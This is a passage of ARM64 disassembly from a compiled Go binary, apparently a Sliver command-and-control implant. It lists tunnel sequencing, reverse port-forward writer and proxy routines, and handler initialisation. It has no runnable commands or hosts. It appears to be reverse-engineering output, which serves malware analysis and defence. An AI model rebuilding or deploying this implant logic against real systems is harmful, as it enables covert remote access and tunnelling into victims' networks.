    004ef1ccldr w1, [x27+3056]
    004ef1d0cbz w1, 0x4ef1d8
    004ef1d4b 0x4ef1dc
    004ef1d8
    004ef1d8loc_4ef1d8:
    004ef1d8b 0x4ef1f8
    004ef1dc
    004ef1dcloc_4ef1dc:
    004ef1dcstr x0, [sp+184]
    004ef1e0mov x1, x0
    004ef1e4adrp x0, 0x1a8000
    004ef1e8add x0, x0, 64
    004ef1ecbl runtime.wbZero
    004ef1f0ldr x0, [sp+184]
    004ef1f4b 0x4ef1f8
    004ef1f8
    004ef1f8loc_4ef1f8:
    004ef1f8mov x20, x0
    004ef1fcadr x27, 16
    004ef200stp x29, x27, [sp-24]
    004ef204sub x29, sp, 24
    004ef208bl fn_87cf0
    004ef20csub x29, sp, 8
    004ef210ldr x2, [sp+272]
    004ef214ldrsb x27, [x2]
    004ef218ldr x3, [sp+88]
    004ef21cstr x3, [x2+40]
    004ef220ldr x2, [sp+272]
    004ef224ldrsb x27, [x2]
    004ef228ldr x3, [sp+80]
    004ef22cstr x3, [x2+48]
    004ef230ldr x2, [sp+272]
    004ef234ldrsb x27, [x2]
    004ef238ldr x3, [sp+408]
    004ef23cldrsb x27, [x3]
    004ef240ldr x3, [x3]
    004ef244str x3, [x2+72]
    004ef248ldr x2, [sp+272]
    004ef24cldrsb x27, [x2]
    004ef250ldr x3, [sp+464]
    004ef254ldr x4, [sp+472]
    004ef258ldr x5, [sp+480]
    004ef25cstr x4, [x2+16]
    004ef260str x5, [x2+24]
    004ef264adrp x27, 0x55c000
    004ef268ldr w4, [x27+3056]
    004ef26ccbz w4, 0x4ef274
    004ef270b 0x4ef278
    004ef274
    004ef274loc_4ef274:
    004ef274b 0x4ef28c
    004ef278
    004ef278loc_4ef278:
    004ef278bl runtime.gcWriteBarrier2
    004ef27cstr x3, [x25]
    004ef280ldr x4, [x2+8]
    004ef284str x4, [x25+8]
    004ef288b 0x4ef28c
    004ef28c
    004ef28cloc_4ef28c:
    004ef28cstr x3, [x2+8]
    004ef290ldr x2, [sp+272]
    004ef294ldrsb x27, [x2]
    004ef298ldrb w3, [sp+63]
    004ef29cstrb w3, [x2+57]
    004ef2a0ldr x2, [sp+272]
    004ef2a4ldrsb x27, [x2]
    004ef2a8ldr x3, [sp+112]
    004ef2acadrp x27, 0x55c000
    004ef2b0ldr w4, [x27+3056]
    004ef2b4cbz w4, 0x4ef2bc
    004ef2b8b 0x4ef2c0
    004ef2bc
    004ef2bcloc_4ef2bc:
    004ef2bcb 0x4ef2d4
    004ef2c0
    004ef2c0loc_4ef2c0:
    004ef2c0bl runtime.gcWriteBarrier2
    004ef2c4str x3, [x25]
    004ef2c8ldr x4, [x2+64]
    004ef2ccstr x4, [x25+8]
    004ef2d0b 0x4ef2d4
    004ef2d4
    004ef2d4loc_4ef2d4:
    004ef2d4str x3, [x2+64]
    004ef2d8ldr x2, [sp+272]
    004ef2dcstr x2, [sp+384]
    004ef2e0stp xzr, xzr, [sp+360]
    004ef2e4str xzr, [sp+376]
    004ef2e8stp xzr, xzr, [sp+344]
    004ef2ecldr x1, [sp+384]
    004ef2f0adrp x0, 0x225000
    004ef2f4add x0, x0, 3904
    004ef2f8bl google.golang.org/protobuf/proto.Marshal
    004ef2fcstr x0, [sp+360]
    004ef300str x1, [sp+368]
    004ef304str x2, [sp+376]
    004ef308str x3, [sp+344]
    004ef30cstr x4, [sp+352]
    004ef310ldr x2, [sp+360]
    004ef314ldr x3, [sp+368]
    004ef318ldr x4, [sp+376]
    004ef31cstr x2, [sp+152]
    004ef320str x3, [sp+160]
    004ef324str x4, [sp+168]
    004ef328ldr x2, [sp+344]
    004ef32cldr x3, [sp+352]
    004ef330str x2, [sp+136]
    004ef334str x3, [sp+144]
    004ef338ldr x2, [sp+152]
    004ef33cldr x3, [sp+160]
    004ef340ldr x4, [sp+168]
    004ef344str x2, [sp+464]
    004ef348str x3, [sp+472]
    004ef34cstr x4, [sp+480]
    004ef350ldr x2, [sp+136]
    004ef354ldr x3, [sp+144]
    004ef358str x2, [sp+120]
    004ef35cstr x3, [sp+128]
    004ef360ldr x0, [sp+408]
    004ef364bl github.com/bishopfox/sliver/implant/sliver/transports.(*Tunnel).WriteSequence
    004ef368str x0, [sp+80]
    004ef36cldr x0, [sp+408]
    004ef370bl github.com/bishopfox/sliver/implant/sliver/transports.(*Tunnel).ReadSequence
    004ef374str x0, [sp+88]
    004ef378stp xzr, xzr, [sp+296]
    004ef37cstp xzr, xzr, [sp+312]
    004ef380stp xzr, xzr, [sp+328]
    004ef384add x2, sp, 296
    004ef388str x2, [sp+240]
    004ef38cldr x0, [sp+72]
    004ef390bl runtime.convT64
    004ef394str x0, [sp+232]
    004ef398ldr x2, [sp+240]
    004ef39cldrsb x27, [x2]
    004ef3a0adrp x3, 0x106000
    004ef3a4add x3, x3, 3520
    004ef3a8str x3, [x2]
    004ef3acadrp x27, 0x55c000
    004ef3b0ldr w3, [x27+3056]
    004ef3b4cbz w3, 0x4ef3bc
    004ef3b8b 0x4ef3c0
    004ef3bc
    004ef3bcloc_4ef3bc:
    004ef3bcb 0x4ef3d4
    004ef3c0
    004ef3c0loc_4ef3c0:
    004ef3c0bl runtime.gcWriteBarrier2
    004ef3c4str x0, [x25]
    004ef3c8ldr x1, [x2+8]
    004ef3ccstr x1, [x25+8]
    004ef3d0b 0x4ef3d4
    004ef3d4
    004ef3d4loc_4ef3d4:
    004ef3d4str x0, [x2+8]
    004ef3d8ldr x0, [sp+80]
    004ef3dcbl runtime.convT64
    004ef3e0str x0, [sp+224]
    004ef3e4ldr x1, [sp+240]
    004ef3e8ldrsb x27, [x1]
    004ef3ecadrp x2, 0x106000
    004ef3f0add x2, x2, 3456
    004ef3f4str x2, [x1+16]
    004ef3f8adrp x27, 0x55c000
    004ef3fcldr w2, [x27+3056]
    004ef400cbz w2, 0x4ef408
    004ef404b 0x4ef40c
    004ef408
    004ef408loc_4ef408:
    004ef408b 0x4ef420
    004ef40c
    004ef40cloc_4ef40c:
    004ef40cbl runtime.gcWriteBarrier2
    004ef410str x0, [x25]
    004ef414ldr x2, [x1+24]
    004ef418str x2, [x25+8]
    004ef41cb 0x4ef420
    004ef420
    004ef420loc_4ef420:
    004ef420str x0, [x1+24]
    004ef424ldr x0, [sp+88]
    004ef428bl runtime.convT64
    004ef42cstr x0, [sp+216]
    004ef430ldr x1, [sp+240]
    004ef434ldrsb x27, [x1]
    004ef438adrp x2, 0x106000
    004ef43cadd x2, x2, 3456
    004ef440str x2, [x1+32]
    004ef444adrp x27, 0x55c000
    004ef448ldr w2, [x27+3056]
    004ef44ccbz w2, 0x4ef454
    004ef450b 0x4ef458
    004ef454
    004ef454loc_4ef454:
    004ef454b 0x4ef46c
    004ef458
    004ef458loc_4ef458:
    004ef458bl runtime.gcWriteBarrier2
    004ef45cstr x0, [x25]
    004ef460ldr x5, [x1+40]
    004ef464str x5, [x25+8]
    004ef468b 0x4ef46c
    004ef46c
    004ef46cloc_4ef46c:
    004ef46cstr x0, [x1+40]
    004ef470ldr x2, [sp+240]
    004ef474ldrsb x27, [x2]
    004ef478b 0x4ef47c
    004ef47c
    004ef47cloc_4ef47c:
    004ef47cstr x2, [sp+248]
    004ef480orr x4, xzr, 3
    004ef484str x4, [sp+256]
    004ef488str x4, [sp+264]
    004ef48cadrp x0, 0x1db000
    004ef490add x0, x0, 1059
    004ef494movz x1, 53
    004ef498mov x3, x4
    004ef49cbl log.Printf
    004ef4a0ldr x0, [sp+408]
    004ef4a4bl github.com/bishopfox/sliver/implant/sliver/transports.(*Tunnel).IncWriteSequence
    004ef4a8adrp x0, 0x195000
    004ef4acadd x0, x0, 2848
    004ef4b0bl runtime.newobject
    004ef4b4str x0, [sp+208]
    004ef4b8adrp x27, 0x55c000
    004ef4bcldr w5, [x27+3056]
    004ef4c0cbz w5, 0x4ef4c8
    004ef4c4b 0x4ef4cc
    004ef4c8
    004ef4c8loc_4ef4c8:
    004ef4c8b 0x4ef4e8
    004ef4cc
    004ef4ccloc_4ef4cc:
    004ef4ccstr x0, [sp+176]
    004ef4d0mov x1, x0
    004ef4d4adrp x0, 0x195000
    004ef4d8add x0, x0, 2848
    004ef4dcbl runtime.wbZero
    004ef4e0ldr x0, [sp+176]
    004ef4e4b 0x4ef4e8
    004ef4e8
    004ef4e8loc_4ef4e8:
    004ef4e8mov x20, x0
    004ef4ecadr x27, 16
    004ef4f0stp x29, x27, [sp-24]
    004ef4f4sub x29, sp, 24
    004ef4f8bl fn_87cfc
    004ef4fcsub x29, sp, 8
    004ef500str xzr, [x0+80]
    004ef504ldr x2, [sp+208]
    004ef508ldrsb x27, [x2]
    004ef50cmovz x3, 22
    004ef510str w3, [x2+16]
    004ef514ldr x2, [sp+208]
    004ef518ldrsb x27, [x2]
    004ef51cldr x3, [sp+464]
    004ef520ldr x4, [sp+472]
    004ef524ldr x5, [sp+480]
    004ef528str x4, [x2+32]
    004ef52cstr x5, [x2+40]
    004ef530adrp x27, 0x55c000
    004ef534ldr w4, [x27+3056]
    004ef538cbz w4, 0x4ef540
    004ef53cb 0x4ef544
    004ef540
    004ef540loc_4ef540:
    004ef540b 0x4ef558
    004ef544
    004ef544loc_4ef544:
    004ef544bl runtime.gcWriteBarrier2
    004ef548str x3, [x25]
    004ef54cldr x4, [x2+24]
    004ef550str x4, [x25+8]
    004ef554b 0x4ef558
    004ef558
    004ef558loc_4ef558:
    004ef558str x3, [x2+24]
    004ef55cldr x2, [sp+208]
    004ef560str x2, [sp+288]
    004ef564ldr x2, [sp+416]
    004ef568ldrsb x27, [x2]
    004ef56cldr x2, [x2]
    004ef570str x2, [sp+200]
    004ef574ldr x0, [sp+200]
    004ef578add x1, sp, 288
    004ef57cbl runtime.chansend1
    004ef580ldr x2, [sp+72]
    004ef584str x2, [sp+64]
    004ef588ldr x1, [sp+120]
    004ef58cldr x2, [sp+128]
    004ef590str x1, [sp+96]
    004ef594str x2, [sp+104]
    004ef598ldr x0, [sp+64]
    004ef59cldp x29, x30, [sp-8]
    004ef5a0add sp, sp, 400
    004ef5a4ret x30
    004ef5a8
    004ef5a8loc_4ef5a8:
    004ef5a8stp x0, x1, [sp+8]
    004ef5acstp x2, x3, [sp+24]
    004ef5b0str w4, [sp+40]
    004ef5b4stp x5, x6, [sp+48]
    004ef5b8stp x7, x8, [sp+64]
    004ef5bcstr x9, [sp+80]
    004ef5c0mov x3, x30
    004ef5c4bl runtime.morestack_noctxt.abi0
    004ef5c8ldp x0, x1, [sp+8]
    004ef5ccldp x2, x3, [sp+24]
    004ef5d0ldr w4, [sp+40]
    004ef5d4ldp x5, x6, [sp+48]
    004ef5d8ldp x7, x8, [sp+64]
    004ef5dcldr x9, [sp+80]
    004ef5e0b 0x4ef050
    004ef5e4udf 0
    004ef5e8udf 0
    004ef5ecudf 0
    004ef050
    004ef5f0
    004ef5f0type:.eq.github.com/bishopfox/sliver/implant/sliver/rportfwd.tunnelWriter: ; void type:.eq.github.com/bishopfox/sliver/implant/sliver/rportfwd.tunnelWriter(github.com/bishopfox/sliver/implant/sliver/rportfwd.tunnelWriter * p, github.com/bishopfox/sliver/implant/sliver/rportfwd.tunnelWriter * q)
    004ef5f0ldr x16, [x28+16]
    004ef5f4subs xzr, sp, x16
    004ef5f8b.ls 0x4ef71c
    004ef5fcstr x30, [sp-80]!
    004ef600stur x29, [sp-8]
    004ef604sub x29, sp, 8
    004ef608str x0, [sp+88]
    004ef60cstr x1, [sp+96]
    004ef610strb wzr, [sp+39]
    004ef614ldr x3, [sp+88]
    004ef618ldr x3, [x3]
    004ef61cldr x4, [sp+96]
    004ef620ldr x4, [x4]
    004ef624subs xzr, x4, x3
    004ef628b.eq 0x4ef630
    004ef62cb 0x4ef700
    004ef630
    004ef630loc_4ef630:
    004ef630ldr x3, [sp+88]
    004ef634ldr x4, [sp+96]
    004ef638ldr x3, [x3+8]
    004ef63cldr x4, [x4+8]
    004ef640subs xzr, x4, x3
    004ef644b.eq 0x4ef64c
    004ef648b 0x4ef6fc
    004ef64c
    004ef64cloc_4ef64c:
    004ef64cldr x3, [sp+88]
    004ef650ldr x3, [x3+24]
    004ef654str x3, [sp+48]
    004ef658ldr x4, [x1+24]
    004ef65cstr x4, [sp+40]
    004ef660subs xzr, x3, x4
    004ef664b.eq 0x4ef66c
    004ef668b 0x4ef6f8
    004ef66c
    004ef66cloc_4ef66c:
    004ef66cldr x3, [sp+88]
    004ef670ldr w3, [x3+32]
    004ef674ldr w4, [x1+32]
    004ef678subs wzr, w4, w3
    004ef67cb.eq 0x4ef684
    004ef680b 0x4ef6f4
    004ef684
    004ef684loc_4ef684:
    004ef684ldr x3, [sp+88]
    004ef688ldr x3, [x3+40]
    004ef68cldr x4, [x1+40]
    004ef690subs xzr, x4, x3
    004ef694b.eq 0x4ef69c
    004ef698b 0x4ef6f0
    004ef69c
    004ef69cloc_4ef69c:
    004ef69cldr x3, [sp+88]
    004ef6a0ldr x3, [x3+48]
    004ef6a4ldr x4, [x1+48]
    004ef6a8subs xzr, x4, x3
    004ef6acb.eq 0x4ef6b4
    004ef6b0b 0x4ef6ec
    004ef6b4
    004ef6b4loc_4ef6b4:
    004ef6b4ldr x3, [sp+88]
    004ef6b8ldr x3, [x3+24]
    004ef6bcstr x3, [sp+40]
    004ef6c0ldr x3, [sp+88]
    004ef6c4ldr x3, [x3+16]
    004ef6c8str x3, [sp+64]
    004ef6ccldr x3, [sp+96]
    004ef6d0ldr x1, [x3+16]
    004ef6d4str x1, [sp+56]
    004ef6d8ldr x2, [sp+40]
    004ef6dcldr x0, [sp+64]
    004ef6e0bl runtime.memequal
    004ef6e4strb w0, [sp+39]
    004ef6e8b 0x4ef70c
    004ef6ec
    004ef6ecloc_4ef6ec:
    004ef6ecb 0x4ef704
    004ef6f0
    004ef6f0loc_4ef6f0:
    004ef6f0b 0x4ef704
    004ef6f4
    004ef6f4loc_4ef6f4:
    004ef6f4b 0x4ef704
    004ef6f8
    004ef6f8loc_4ef6f8:
    004ef6f8b 0x4ef704
    004ef6fc
    004ef6fcloc_4ef6fc:
    004ef6fcb 0x4ef704
    004ef700
    004ef700loc_4ef700:
    004ef700b 0x4ef704
    004ef704
    004ef704loc_4ef704:
    004ef704strb wzr, [sp+39]
    004ef708b 0x4ef70c
    004ef70c
    004ef70cloc_4ef70c:
    004ef70cldrb w0, [sp+39]
    004ef710ldur x29, [sp-8]
    004ef714ldr x30, [sp], 80
    004ef718ret x30
    004ef71c
    004ef71cloc_4ef71c:
    004ef71cstp x0, x1, [sp+8]
    004ef720mov x3, x30
    004ef724bl runtime.morestack_noctxt.abi0
    004ef728ldp x0, x1, [sp+8]
    004ef72cb 0x4ef5f0
    004ef5f0
    004ef730
    004ef730github.com/bishopfox/sliver/implant/sliver/rportfwd.(*tunnelWriter).Write: ; void github.com/bishopfox/sliver/implant/sliver/rportfwd.(*tunnelWriter).Write(github.com/bishopfox/sliver/implant/sliver/rportfwd.tunnelWriter * tw, struct []uint8 data)
    004ef730ldr x16, [x28+16]
    004ef734sub x17, sp, 96
    004ef738subs xzr, x17, x16
    004ef73cb.ls 0x4ef814
    004ef740str x30, [sp-224]!
    004ef744stur x29, [sp-8]
    004ef748sub x29, sp, 8
    004ef74cldr x16, [x28+32]
    004ef750cbnz x16, 0x4ef830
    004ef754
    004ef754loc_4ef754:
    004ef754str x0, [sp+232]
    004ef758str x1, [sp+240]
    004ef75cstr x2, [sp+248]
    004ef760str x3, [sp+256]
    004ef764str xzr, [sp+88]
    004ef768stp xzr, xzr, [sp+112]
    004ef76cldr x10, [sp+232]
    004ef770cbnz x10, 0x4ef778
    004ef774b 0x4ef80c
    004ef778
    004ef778loc_4ef778:
    004ef778stp xzr, xzr, [sp+184]
    004ef77cldr x10, [sp+232]
    004ef780ldrsb x27, [x10]
    004ef784ldp x11, x12, [x10]
    004ef788ldp x13, x14, [x10+16]
    004ef78cldp x15, x16, [x10+32]
    004ef790stp x11, x12, [sp+128]
    004ef794stp x13, x14, [sp+144]
    004ef798stp x15, x16, [sp+160]
    004ef79cldr x10, [x10+48]
    004ef7a0str x10, [sp+176]
    004ef7a4ldr x7, [sp+240]
    004ef7a8ldr x8, [sp+248]
    004ef7acldr x9, [sp+256]
    004ef7b0ldr x0, [sp+128]
    004ef7b4ldr x1, [sp+136]
    004ef7b8ldr x2, [sp+144]
    004ef7bcldr x3, [sp+152]
    004ef7c0ldr w4, [sp+160]
    004ef7c4ldr x5, [sp+168]
    004ef7c8ldr x6, [sp+176]
    004ef7ccbl github.com/bishopfox/sliver/implant/sliver/rportfwd.tunnelWriter.Write
    004ef7d0str x0, [sp+96]
    004ef7d4str x1, [sp+184]
    004ef7d8str x2, [sp+192]
    004ef7dcldr x10, [sp+96]
    004ef7e0str x10, [sp+104]
    004ef7e4str x1, [sp+200]
    004ef7e8str x2, [sp+208]
    004ef7ecldr x10, [sp+104]
    004ef7f0str x10, [sp+88]
    004ef7f4str x1, [sp+112]
    004ef7f8str x2, [sp+120]
    004ef7fcldr x0, [sp+88]
    004ef800ldur x29, [sp-8]
    004ef804ldr x30, [sp], 224
    004ef808ret x30
    004ef80c
    004ef80cloc_4ef80c:
    004ef80cbl runtime.panicwrap
    004ef810hint
    004ef814
    004ef814loc_4ef814:
    004ef814stp x0, x1, [sp+8]
    004ef818stp x2, x3, [sp+24]
    004ef81cmov x3, x30
    004ef820bl runtime.morestack_noctxt.abi0
    004ef824ldp x0, x1, [sp+8]
    004ef828ldp x2, x3, [sp+24]
    004ef82cb 0x4ef730
    004ef830
    004ef830loc_4ef830:
    004ef830ldr x17, [x16]
    004ef834add x20, sp, 232
    004ef838subs xzr, x20, x17
    004ef83cb.ne 0x4ef754
    004ef840add x20, sp, 8
    004ef844str x20, [x16]
    004ef848b 0x4ef754
    004ef84cudf 0
    004ef730
    004ef850
    004ef850type:.eq.github.com/bishopfox/sliver/implant/sliver/rportfwd.ChannelProxy: ; void type:.eq.github.com/bishopfox/sliver/implant/sliver/rportfwd.ChannelProxy(github.com/bishopfox/sliver/implant/sliver/rportfwd.ChannelProxy * p, github.com/bishopfox/sliver/implant/sliver/rportfwd.ChannelProxy * q)
    004ef850ldr x16, [x28+16]
    004ef854subs xzr, sp, x16
    004ef858b.ls 0x4ef9b0
    004ef85cstr x30, [sp-96]!
    004ef860stur x29, [sp-8]
    004ef864sub x29, sp, 8
    004ef868str x0, [sp+104]
    004ef86cstr x1, [sp+112]
    004ef870strb wzr, [sp+38]
    004ef874ldr x3, [sp+104]
    004ef878ldr x3, [x3]
    004ef87cldr x4, [sp+112]
    004ef880ldr x4, [x4]
    004ef884subs xzr, x4, x3
    004ef888b.eq 0x4ef890
    004ef88cb 0x4ef994
    004ef890
    004ef890loc_4ef890:
    004ef890ldr x3, [sp+104]
    004ef894ldr x3, [x3+16]
    004ef898str x3, [sp+48]
    004ef89cldr x4, [x1+16]
    004ef8a0str x4, [sp+40]
    004ef8a4subs xzr, x3, x4
    004ef8a8b.eq 0x4ef8b0
    004ef8acb 0x4ef990
    004ef8b0
    004ef8b0loc_4ef8b0:
    004ef8b0ldr x3, [sp+104]
    004ef8b4ldr x3, [x3+32]
    004ef8b8str x3, [sp+40]
    004ef8bcldr x4, [sp+112]
    004ef8c0ldr x4, [x4+32]
    004ef8c4str x4, [sp+48]
    004ef8c8subs xzr, x3, x4
    004ef8ccb.eq 0x4ef8d4
    004ef8d0b 0x4ef98c
    004ef8d4
    004ef8d4loc_4ef8d4:
    004ef8d4ldr x3, [sp+104]
    004ef8d8ldr x4, [sp+112]
    004ef8dcldr x3, [x3+40]
    004ef8e0ldr x4, [x4+40]
    004ef8e4subs xzr, x4, x3
    004ef8e8b.eq 0x4ef8f0
    004ef8ecb 0x4ef988
    004ef8f0
    004ef8f0loc_4ef8f0:
    004ef8f0ldr x3, [sp+104]
    004ef8f4ldr x4, [sp+112]
    004ef8f8ldr x3, [x3+48]
    004ef8fcldr x4, [x4+48]
    004ef900subs xzr, x4, x3
    004ef904b.eq 0x4ef90c
    004ef908b 0x4ef984
    004ef90c
    004ef90cloc_4ef90c:
    004ef90cldr x3, [sp+104]
    004ef910ldr x3, [x3+16]
    004ef914str x3, [sp+48]
    004ef918ldr x3, [sp+104]
    004ef91cldr x3, [x3+8]
    004ef920str x3, [sp+80]
    004ef924ldr x3, [sp+112]
    004ef928ldr x1, [x3+8]
    004ef92cstr x1, [sp+72]
    004ef930ldr x2, [sp+48]
    004ef934ldr x0, [sp+80]
    004ef938bl runtime.memequal
    004ef93cstrb w0, [sp+39]
    004ef940tbnz w0, 0, 0x4ef948
    004ef944b 0x4ef980
    004ef948
    004ef948loc_4ef948:
    004ef948ldr x3, [sp+104]
    004ef94cldr x3, [x3+32]
    004ef950str x3, [sp+48]
    004ef954ldr x3, [sp+104]
    004ef958ldr x3, [x3+24]
    004ef95cstr x3, [sp+64]
    004ef960ldr x3, [sp+112]
    004ef964ldr x1, [x3+24]
    004ef968str x1, [sp+56]
    004ef96cldr x2, [sp+48]
    004ef970ldr x0, [sp+64]
    004ef974bl runtime.memequal
    004ef978strb w0, [sp+38]
    004ef97cb 0x4ef9a0
    004ef980
    004ef980loc_4ef980:
    004ef980b 0x4ef998
    004ef984
    004ef984loc_4ef984:
    004ef984b 0x4ef998
    004ef988
    004ef988loc_4ef988:
    004ef988b 0x4ef998
    004ef98c
    004ef98cloc_4ef98c:
    004ef98cb 0x4ef998
    004ef990
    004ef990loc_4ef990:
    004ef990b 0x4ef998
    004ef994
    004ef994loc_4ef994:
    004ef994b 0x4ef998
    004ef998
    004ef998loc_4ef998:
    004ef998strb wzr, [sp+38]
    004ef99cb 0x4ef9a0
    004ef9a0
    004ef9a0loc_4ef9a0:
    004ef9a0ldrb w0, [sp+38]
    004ef9a4ldur x29, [sp-8]
    004ef9a8ldr x30, [sp], 96
    004ef9acret x30
    004ef9b0
    004ef9b0loc_4ef9b0:
    004ef9b0stp x0, x1, [sp+8]
    004ef9b4mov x3, x30
    004ef9b8bl runtime.morestack_noctxt.abi0
    004ef9bcldp x0, x1, [sp+8]
    004ef9c0b 0x4ef850
    004ef9c4udf 0
    004ef9c8udf 0
    004ef9ccudf 0
    004ef850
    004ef9d0
    004ef9d0type:.eq.github.com/bishopfox/sliver/implant/sliver/rportfwd.PortfwdMeta: ; void type:.eq.github.com/bishopfox/sliver/implant/sliver/rportfwd.PortfwdMeta(github.com/bishopfox/sliver/implant/sliver/rportfwd.PortfwdMeta * p, github.com/bishopfox/sliver/implant/sliver/rportfwd.PortfwdMeta * q)
    004ef9d0ldr x16, [x28+16]
    004ef9d4subs xzr, sp, x16
    004ef9d8b.ls 0x4efb58
    004ef9dcstr x30, [sp-112]!
    004ef9e0stur x29, [sp-8]
    004ef9e4sub x29, sp, 8
    004ef9e8str x0, [sp+120]
    004ef9ecstr x1, [sp+128]
    004ef9f0strb wzr, [sp+38]
    004ef9f4ldr x3, [sp+120]
    004ef9f8ldr x3, [x3]
    004ef9fcldr x4, [sp+128]
    004efa00ldr x4, [x4]
    004efa04subs xzr, x4, x3
    004efa08b.eq 0x4efa10
    004efa0cb 0x4efb3c
    004efa10
    004efa10loc_4efa10:
    004efa10ldr x3, [sp+120]
    004efa14ldr x3, [x3+16]
    004efa18str x3, [sp+48]
    004efa1cldr x4, [x1+16]
    004efa20str x4, [sp+40]
    004efa24subs xzr, x3, x4
    004efa28b.eq 0x4efa30
    004efa2cb 0x4efb38
    004efa30
    004efa30loc_4efa30:
    004efa30ldr x3, [sp+120]
    004efa34ldr x3, [x3+32]
    004efa38str x3, [sp+40]
    004efa3cldr x4, [sp+128]
    004efa40ldr x4, [x4+32]
    004efa44str x4, [sp+48]
    004efa48subs xzr, x3, x4
    004efa4cb.eq 0x4efa54
    004efa50b 0x4efb34
    004efa54
    004efa54loc_4efa54:
    004efa54ldr x3, [sp+120]
    004efa58ldr x3, [x3+48]
    004efa5cstr x3, [sp+48]
    004efa60ldr x4, [sp+128]
    004efa64ldr x4, [x4+48]
    004efa68str x4, [sp+40]
    004efa6csubs xzr, x3, x4
    004efa70b.eq 0x4efa78
    004efa74b 0x4efb30
    004efa78
    004efa78loc_4efa78:
    004efa78ldr x3, [sp+120]
    004efa7cldr x3, [x3+16]
    004efa80str x3, [sp+40]
    004efa84ldr x3, [sp+120]
    004efa88ldr x3, [x3+8]
    004efa8cstr x3, [sp+80]
    004efa90ldr x3, [sp+128]
    004efa94ldr x1, [x3+8]
    004efa98str x1, [sp+72]
    004efa9cldr x2, [sp+40]
    004efaa0ldr x0, [sp+80]
    004efaa4bl runtime.memequal
    004efaa8strb w0, [sp+39]
    004efaactbnz w0, 0, 0x4efab4
    004efab0b 0x4efb2c
    004efab4
    004efab4loc_4efab4:
    004efab4ldr x3, [sp+120]
    004efab8ldr x3, [x3+32]
    004efabcstr x3, [sp+40]
    004efac0ldr x3, [sp+120]
    004efac4ldr x3, [x3+24]
    004efac8str x3, [sp+64]
    004efaccldr x3, [sp+128]
    004efad0ldr x1, [x3+24]
    004efad4str x1, [sp+56]
    004efad8ldr x2, [sp+40]
    004efadcldr x0, [sp+64]
    004efae0bl runtime.memequal
    004efae4strb w0, [sp+39]
    004efae8tbnz w0, 0, 0x4efaf0
    004efaecb 0x4efb28
    004efaf0
    004efaf0loc_4efaf0:
    004efaf0ldr x3, [sp+120]
    004efaf4ldr x3, [x3+48]
    004efaf8str x3, [sp+40]
    004efafcldr x3, [sp+120]
    004efb00ldr x3, [x3+40]
    004efb04str x3, [sp+96]
    004efb08ldr x3, [sp+128]
    004efb0cldr x1, [x3+40]
    004efb10str x1, [sp+88]
    004efb14ldr x2, [sp+40]
    004efb18ldr x0, [sp+96]
    004efb1cbl runtime.memequal
    004efb20strb w0, [sp+38]
    004efb24b 0x4efb48
    004efb28
    004efb28loc_4efb28:
    004efb28b 0x4efb40
    004efb2c
    004efb2cloc_4efb2c:
    004efb2cb 0x4efb40
    004efb30
    004efb30loc_4efb30:
    004efb30b 0x4efb40
    004efb34
    004efb34loc_4efb34:
    004efb34b 0x4efb40
    004efb38
    004efb38loc_4efb38:
    004efb38b 0x4efb40
    004efb3c
    004efb3cloc_4efb3c:
    004efb3cb 0x4efb40
    004efb40
    004efb40loc_4efb40:
    004efb40strb wzr, [sp+38]
    004efb44b 0x4efb48
    004efb48
    004efb48loc_4efb48:
    004efb48ldrb w0, [sp+38]
    004efb4cldur x29, [sp-8]
    004efb50ldr x30, [sp], 112
    004efb54ret x30
    004efb58
    004efb58loc_4efb58:
    004efb58stp x0, x1, [sp+8]
    004efb5cmov x3, x30
    004efb60bl runtime.morestack_noctxt.abi0
    004efb64ldp x0, x1, [sp+8]
    004efb68b 0x4ef9d0
    004efb6cudf 0
    004ef9d0
    004efb70
    004efb70github.com/bishopfox/sliver/implant/sliver/handlers.init: ; void github.com/bishopfox/sliver/implant/sliver/handlers.init(void)
    004efb70ldr x16, [x28+16]
    004efb74sub x17, sp, 16
    004efb78subs xzr, x17, x16
    004efb7cb.ls 0x4eff20
    004efb80str x30, [sp-144]!
    004efb84stur x29, [sp-8]
    004efb88sub x29, sp, 8
    004efb8cbl github.com/bishopfox/sliver/implant/sliver/handlers.map.init.0
    004efb90bl runtime.makemap_small
    004efb94str x0, [sp+128]
    004efb98adrp x0, 0x1e9000
    004efb9cadd x0, x0, 2832
    004efba0str x0, [sp+120]
    004efba4ldr x1, [sp+128]
    004efba8adrp x0, 0x134000
    004efbacadd x0, x0, 1632
    004efbb0orr x2, xzr, 4
    004efbb4bl runtime.mapassign_fast32
    004efbb8str x0, [sp+48]
    004efbbcldrsb x27, [x0]
    004efbc0ldr x1, [sp+120]
    004efbc4adrp x27, 0x55c000
    004efbc8ldr w2, [x27+3056]
    004efbcccbz w2, 0x4efbd4
    004efbd0b 0x4efbd8
    004efbd4
    004efbd4loc_4efbd4:
    004efbd4b 0x4efbec
    004efbd8
    004efbd8loc_4efbd8:
    004efbd8bl runtime.gcWriteBarrier2
    004efbdcstr x1, [x25]
    004efbe0ldr x2, [x0]
    004efbe4str x2, [x25+8]
    004efbe8b 0x4efbec
    004efbec
    004efbecloc_4efbec:
    004efbecstr x1, [x0]
    004efbf0ldr x0, [sp+128]
    004efbf4adrp x27, 0x55c000
    004efbf8ldr w1, [x27+3056]
    004efbfccbz w1, 0x4efc04
    004efc00b 0x4efc08
    004efc04
    004efc04loc_4efc04:
    004efc04b 0x4efc20
    004efc08
    004efc08loc_4efc08:
    004efc08bl runtime.gcWriteBarrier2
    004efc0cstr x0, [x25]
    004efc10adrp x27, 0x531000
    004efc14ldr x1, [x27+3176]
    004efc18str x1, [x25+8]
    004efc1cb 0x4efc20
    004efc20
    004efc20loc_4efc20:
    004efc20adrp x27, 0x531000
    004efc24str x0, [x27+3176]
    004efc28bl runtime.makemap_small
    004efc2cstr x0, [sp+64]
    004efc30adrp x0, 0x1e9000
    004efc34add x0, x0, 2936
    004efc38str x0, [sp+56]
    004efc3cldr x1, [sp+64]
    004efc40adrp x0, 0x134000
    004efc44add x0, x0, 1888
    004efc48movz x2, 52
    004efc4cbl runtime.mapassign_fast32
    004efc50str x0, [sp+40]
    004efc54ldrsb x27, [x0]
    004efc58ldr x1, [sp+56]
    004efc5cadrp x27, 0x55c000
    004efc60ldr w2, [x27+3056]
    004efc64cbz w2, 0x4efc6c
    004efc68b 0x4efc70
    004efc6c
    004efc6cloc_4efc6c:
    004efc6cb 0x4efc84
    004efc70
    004efc70loc_4efc70:
    004efc70bl runtime.gcWriteBarrier2
    004efc74str x1, [x25]
    004efc78ldr x3, [x0]
    004efc7cstr x3, [x25+8]
    004efc80b 0x4efc84
    004efc84
    004efc84loc_4efc84:
    004efc84str x1, [x0]
    004efc88adrp x3, 0x1e9000
